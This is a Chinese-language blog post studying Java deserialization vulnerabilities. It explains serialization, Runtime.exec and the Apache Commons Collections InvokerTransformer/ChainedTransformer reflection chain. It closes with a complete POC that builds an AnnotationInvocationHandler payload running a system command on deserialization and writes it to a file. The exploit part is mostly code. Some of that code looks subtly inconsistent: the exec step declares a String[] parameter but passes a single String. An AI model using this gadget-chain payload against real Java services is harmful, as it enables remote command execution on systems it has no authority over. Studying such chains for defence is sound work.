1. 程式人生 > >java反序列化漏洞原理研習

java反序列化漏洞原理研習

java程序 out import 修改 sed 判斷 pub 發現 commons

零、Java反序列化漏洞

  java的安全問題首屈一指的就是反序列化漏洞,可以執行命令啊,甚至直接getshell,所以趁著這個假期好好研究一下java的反序列化漏洞。另外呢,組裏多位大佬對反序列化漏洞都有頗深的研究,借此機會,努力學習,作為狼群中的哈士奇希望成功的繼續偽裝下去,不被識破,哈哈哈哈!!!

參考文檔:感謝所有參考文獻的作者:

1、https://www.cnblogs.com/bencakes/p/6139477.html

2、https://www.cnblogs.com/ssooking/p/5875215.html

3、https://www.cnblogs.com/xdp-gacl/p/3777987.html

一、Java的序列化與反序列化:

在這裏我們直接自己定義一個類,然後對這個類的對象(一個實例)進行序列化和發序列化測試。

 1 //引入必要的java包文件
 2 import java.io.*;
 3 
 4 //創建測試類,註意要繼承Serializable接口
 5 class serialdemo implements Serializable{
 6     public static int number;
 7     public serialdemo(int inputnum) {
 8         this.number = inputnum;
 9     }
10 } 
11 12 //主類 13 public class test{ 14 //測試主類 15 public static void main(String[] args) throws IOException, ClassNotFoundException { 16 //主函數入口 17 serialdemo object = new serialdemo(100); 18 FileOutputStream fileoutputstream = new FileOutputStream("serail.ser");//創建文件寫入對象 19 ObjectOutputStream outputstream = new
ObjectOutputStream(fileoutputstream);//創建類型序列化通道對象 20 outputstream.writeObject(object);//把類對象(實例)序列化進入文件 21 outputstream.close(); 22 FileInputStream fileinputstream = new FileInputStream("serail.ser");//從文件讀取對象 23 ObjectInputStream inputstream = new ObjectInputStream(fileinputstream);//對象反序列化 24 // 通過反序列化恢復對象obj 25 serialdemo object2 = (serialdemo)inputstream.readObject(); 26 System.out.println("反序列化後的對象的值:"); 27 System.out.println(object2.number); 28 inputstream.close(); 29 } 30 }

既然自己定義的類都可以了,那麽默認的java存在的數據類型的實例當然也都可以啦~運行結果如下:

1 └─[$]> java test
2 反序列化後的對象的值:
3 100

二、對java序列化的詳解:

1、api定位:

1 /*
2 java.io.ObjectOutputStream  ->   writeObject()
3 java.io.ObjectInputStream    ->    readObject()
4 序列化把對象序列化成字節流
5 反序列化讀取字節流反序列化對象
6 */

2、實現Serializable和Externalizable接口的類才能序列化與反序列化。

3、java的反射機制:

/*
在java運行狀態中
1.對於任何一個類,都能判斷對象所屬的類;
2.對於任何一個類,都能獲取其所有的屬性和方法;
3.對於任何一個對象,都能調用任意一個方法和屬性;
*/

三、反序列化的漏洞原理概述:

1、由於很多站點或者RMI倉庫等接口處存在java的反序列化功能,攻擊者可以通過構造特定的惡意對象序列化後的流,讓目標反序列化,從而達到自己的惡意預期行為,包括命令執行,甚至getshell等等。

2、Apache Commons Collections

這是開源小組Apache研發的一個Collections收集器框架,提供諸如list、set、queue等功能對象。這個框架中有一個接口,其中有一個實現該接口的類可以通過調用java的反射機制來調用任意函數,這個接口類是InvokerTransformer。這個架構的廣泛使用,也導致了java反序列化漏洞的大面積流行。

3、java執行系統命令:

 1 //命令執行函數
 2 public void test() throws IOException, InterruptedException {
 3         Process process = Runtime.getRuntime().exec("whoami");
 4         InputStream inputstream = process.getInputStream();
 5         BufferedReader reader = new BufferedReader(new InputStreamReader(inputstream));
 6         process.waitFor();
 7         if (process.exitValue() != 0) {
 8             //說明命令執行失敗
 9             //可以進入到錯誤處理步驟中
10         }
11         //打印輸出信息
12         String s = null;
13         while ((s = reader.readLine()) != null) {
14             System.out.println(s);
15         }
16     }

簡介:

Runtime.getRuntime().exec("command_string");

回顯呢:

Process process = Runtime.getRuntime().exec("command_string");

InputStream inputstream = process.getInputStream();

BufferReader reader = new BufferReader(new InputStreamReader(inputstream));

System.out.prinln(reader.readLine());

把上面結合起來就是序列化的打法。

四、關於反射鏈

以前一直不理解反射鏈是什麽定西,現在我們來看看接口源代碼:

我們來理一理這一段:

開始:

技術分享圖片

可以看出來這個方法,屬於一個對象,輸出另外一個對象,完成了類型的轉換。同時這個接口還可以串聯完成一系列的轉換,構成反射鏈。

Apache Commons Collections中已經實現了一些常見的Transformer,其中有一個可以通過Java的反射機制來調用任意函數,叫做InvokerTransformer,代碼如下:

 1 public class InvokerTransformer implements Transformer, Serializable {
 2 
 3 ...
 4 
 5     /*
 6         Input參數為要進行反射的對象,
 7         iMethodName,iParamTypes為調用的方法名稱以及該方法的參數類型
 8         iArgs為對應方法的參數
 9         在invokeTransformer這個類的構造函數中我們可以發現,這三個參數均為可控參數
10     */
11     public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
12         super();
13         iMethodName = methodName;
14         iParamTypes = paramTypes;
15         iArgs = args;
16     }
17 
18     public Object transform(Object input) {
19         if (input == null) {
20             return null;
21         }
22         try {
23             Class cls = input.getClass();
24             Method method = cls.getMethod(iMethodName, iParamTypes);
25             return method.invoke(input, iArgs);
26 
27         } catch (NoSuchMethodException ex) {
28             throw new FunctorException("InvokerTransformer: The method ‘" + iMethodName + "‘ on ‘" + input.getClass() + "‘ does not exist");
29         } catch (IllegalAccessException ex) {
30             throw new FunctorException("InvokerTransformer: The method ‘" + iMethodName + "‘ on ‘" + input.getClass() + "‘ cannot be accessed");
31         } catch (InvocationTargetException ex) {
32             throw new FunctorException("InvokerTransformer: The method ‘" + iMethodName + "‘ on ‘" + input.getClass() + "‘ threw an exception", ex);
33         }
34     }
35 
36 }

只需要傳入方法名、參數類型和參數,即可調用任意函數。

技術分享圖片

在這裏,我們可以看到,先用ConstantTransformer()獲取了Runtime類,接著反射調用getRuntime函數,再調用getRuntime的exec()函數,執行命令。依次調用關系為: Runtime --> getRuntime --> exec()。因此,我們要提前構造 ChainedTransformer鏈,它會按照我們設定的順序依次調用Runtime, getRuntime,exec函數,進而執行命令。正式開始時,我們先構造一個TransformeMap實例,然後想辦法修改它其中的數據,使其自動調用tansform()方法進行特定的變換(即我們之前設定好的)

五、poc原理分析:

參考大牛博客,給出一個原理解釋知識點

1 ConstantTransformer
2 把一個對象轉化為常量,並返回。
3 
4 InvokerTransformer
5 通過反射,返回一個對象
6 
7 ChainedTransformer
8 ChainedTransformer為鏈式的Transformer,會挨個執行我們定義Transformer

不得不說上面大牛博客分析的大段的代碼原理我基本都不懂,因為不是java程序員的我對此真是摸不著頭腦,但是我們可以做如下總結:

1 /*
2 1、java反序列化可以遠程執行命令。
3 2、java執行命令用到Runtime.getRuntime().exec("whoami");
4 3、java在apache commons collections中存在InvokerTransoformer接口可以串聯對對象進行轉化,形成反射鏈。
5 4、ConstantTransformer可以把對象轉換為常量返回。
6 5、ChainedTransformer為鏈式的Transformer,會挨個執行我們定義Transformer
7 6、AnnotationInvocationHandler類可以導致命令執行在readobject時候自動執行
8 */

POC的思路:

1 /*
2 1)首先構造一個Map和一個能夠執行代碼的ChainedTransformer,
3 2)生成一個TransformedMap實例
4 3)實例化AnnotationInvocationHandler,並對其進行序列化,
5 4)當觸發readObject()反序列化的時候,就能實現命令執行。
6 POC執行流程為 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功觸發
7 */

分析大牛poc核心代碼邏輯:

  1 /*
  2 核心邏輯表達式:
  3 ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
  4 主函數中:
  5 1、定義一個要執行的命令字符串:String commandstring = "whoami";
  6 2、定義一個執行邏輯:
  7 Transformer[] transformers = new Transformer[] {
  8   new ConstantTransformer(Runtime.class),
  9   new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),
 10   new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})
 11   new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
 12 }
 13 3、執行邏輯轉化操作(ChainedTransformer類對象,傳入transformers數組,可以按照transformers數組的邏輯執行轉化操作):
 14 Transformer transformedChain = new ChainedTransformer(transformers);
 15 4、後面是關於不關心的東西,寫死即可:
 16 Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
 17 BeforeTransformerMap.put("hello", "hello");
 18 Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
 19 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 20 Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
 21 ctor.setAccessible(true);
 22 Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
 23 File f = new File("temp.bin");
 24 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
 25 out.writeObject(instance);
 26 */
 27 
 28 //引入必要的java包文件
 29 import java.io.File;
 30 import java.io.FileInputStream;
 31 import java.io.FileNotFoundException;
 32 import java.io.FileOutputStream;
 33 import java.io.IOException;
 34 import java.io.ObjectInputStream;
 35 import java.io.ObjectOutputStream;
 36 import java.lang.annotation.Retention;
 37 import java.lang.reflect.Constructor;
 38 import java.util.HashMap;
 39 import java.util.Map;
 40 import java.util.Map.Entry;
 41 
 42 //引入第三方包文件,也就是關於apache的那幾個包
 43 import org.apache.commons.collections.Transformer;
 44 import org.apache.commons.collections.functors.ChainedTransformer;
 45 import org.apache.commons.collections.functors.ConstantTransformer;
 46 import org.apache.commons.collections.functors.InvokerTransformer;
 47 import org.apache.commons.collections.map.TransformedMap;
 48 
 49 //主類
 50 public class POC_Test{
 51     public static void main(String[] args) throws Exception {
 52         //定義待執行的命令:
 53         String commandstring = "whoami";
 54         //定義一個反射鏈,確定預定的轉化邏輯
 55         /*
 56           定義一個反射鏈的方法:
 57           Transformer[] varitename = new Transformer[] {
 58             new ConstantTransformer(Runtime.class),
 59             new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),
 60             new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})
 61             new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
 62           }
 63         */
 64         Transformer[] transformers = new Transformer[] {
 65             new ConstantTransformer(Runtime.class),
 66             /*
 67             由於Method類的invoke(Object obj,Object args[])方法的定義
 68             所以在反射內寫new Class[] {Object.class, Object[].class }
 69             正常POC流程舉例:
 70             ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
 71             */
 72             new InvokerTransformer(
 73                 "getMethod",
 74                 new Class[] {String.class, Class[].class },
 75                 new Object[] {"getRuntime", new Class[0] }
 76             ),
 77             new InvokerTransformer(
 78                 "invoke",
 79                 new Class[] {Object.class,Object[].class },
 80                 new Object[] {null, null }
 81             ),
 82             new InvokerTransformer(
 83                 "exec",
 84                 new Class[] {String[].class },
 85                 new Object[] { commandstring }
 86                 //new Object[] { execArgs }
 87             )
 88         };
 89 
 90         //transformedChain: ChainedTransformer類對象,傳入transformers數組,可以按照transformers數組的邏輯執行轉化操作
 91         Transformer transformedChain = new ChainedTransformer(transformers);
 92 
 93         //BeforeTransformerMap: Map數據結構,轉換前的Map,Map數據結構內的對象是鍵值對形式,類比於python的dict
 94         //Map&lt;String, String&gt; BeforeTransformerMap = new HashMap&lt;String, String&gt;();
 95         Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
 96         BeforeTransformerMap.put("hello", "hello");
 97 
 98         //Map數據結構,轉換後的Map
 99        /*
100        TransformedMap.decorate方法,預期是對Map類的數據結構進行轉化,該方法有三個參數。
101             第一個參數為待轉化的Map對象
102             第二個參數為Map對象內的key要經過的轉化方法(可為單個方法,也可為鏈,也可為空)
103             第三個參數為Map對象內的value要經過的轉化方法。
104        */
105         //TransformedMap.decorate(目標Map, key的轉化對象(單個或者鏈或者null), value的轉化對象(單個或者鏈或者null));
106         Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
107         Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
108         Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
109         ctor.setAccessible(true);
110         Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
111         File f = new File("temp.bin");
112         ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
113         out.writeObject(instance);
114     }
115 }
116 
117 /*
118 思路:構建BeforeTransformerMap的鍵值對,為其賦值,
119      利用TransformedMap的decorate方法,對Map數據結構的key/value進行transforme
120      對BeforeTransformerMap的value進行轉換,當BeforeTransformerMap的value執行完一個完整轉換鏈,就完成了命令執行
121 
122      執行本質: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
123      利用反射調用Runtime() 執行了一段系統命令, Runtime.getRuntime().exec()
124 
125 */

java反序列化漏洞原理研習